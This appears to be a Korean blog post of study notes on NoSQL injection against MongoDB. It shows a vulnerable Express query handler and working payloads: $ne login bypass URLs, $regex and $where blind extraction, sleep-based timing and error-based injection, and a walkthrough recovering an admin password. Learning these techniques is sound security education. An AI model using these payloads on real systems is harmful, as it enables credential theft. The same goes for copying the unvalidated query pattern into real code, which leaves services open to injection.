Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] stage6_NoSQL Injection 본문

Hack/DreamHack(로드맵)

[Web_Hacking] stage6_NoSQL Injection

CIDY 2022. 7. 30. 03:28

*NoSQL Injection

SQL Injection과 방법은 유사하다. 둘 다 이용자의 입력이 쿼리에 포함되면서 발생하게 된다. MongoDB는 오브젝트 타입의 입력값을 처리할 때 사용하는 쿼리 연산자를 통해 여러가지를 할 수 있다.

 

(*별도의 타입 검증이 없을 경우 오브젝트 타입의 값을 입력할 수 있다.)

 

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 

위 코드는 user콜렉션에서 uid와 upw데이터를 찾아 출력하는 예제 코드이다.

 

 

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

 

$ne연산자를 이용해 uid와 upw가 각각 a가 아닌 데이터를 조회하는 공격 쿼리이다.

 

위와 같이 내 입력이 쿼리에 반영된다면, $ne연산자를 이용해 admin.의 upw를 조회할 수 있다.

 

 

 

 

*Blind NoSQL Injection

Blind SQL Injection과 유사하다. MongoDB에서는 $regex와 $where연산자를 이용할 수 있다.

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있다.
$regex 지정된 정규식과 일치하는 문서를 선택한다.
$text 지정된 텍스트를 검색한다.
$where JavaScript 표현식을 만족하는 문서와 일치한다.

 

->$regex를 이용해 식과 일치하는 데이터를 조회할 수 있다.

 

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

위와 같이 데이터를 조회할 수 있다.

 

 

->표현식

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

위는 $where을 사용한 것인데, 필드에서 사용할 수 없는 것을 볼 수 있다.

 

 

->substring

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

대신 이렇게 substring을 이용해 데이터 조회가 가능하다. 위는 upw의 첫 글자를 비교해 데이터를 조회하는 쿼리이다.

 

 

->Sleep함수 이용

MongoDB는 sleep함수를 제공 -> 표현식과 함께 사용하면 지연 시간을 통해 T/F결과를 확인할 수 있다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

upw첫 글자 비교와 결과가 참이면 sleep까지 실행하기 때문에 시간 지연이 발생하면 True인 것이다.

 

 

->Error Based Injection

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

의도적으로 에러를 일으키는 건데, 위 코드의 경우 upw의 첫 글자가 g라면 asdf를 실행하려고 하기 때문에 오류가 나게 됨 -> 오류가 발생했다면 True임을 확인 가능

 

 

 

 

+

위와 같이 내 입력으로부터 쿼리를 생성하는 모듈에서 admin계정의 비밀번호를 알아내 보자.

 

{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined

1. 길이 알아내기

 

위와 같은 식을 통해 길이가 5임을 알 수 있다. 

 

{"uid": "admin", "upw": {"$regex":"^a"}}

2. 비밀번호 알아내기

 

^는 입력의 시작 부분을 나타낸다. 한글자씩 비교해보면 apple임을 알 수 있다.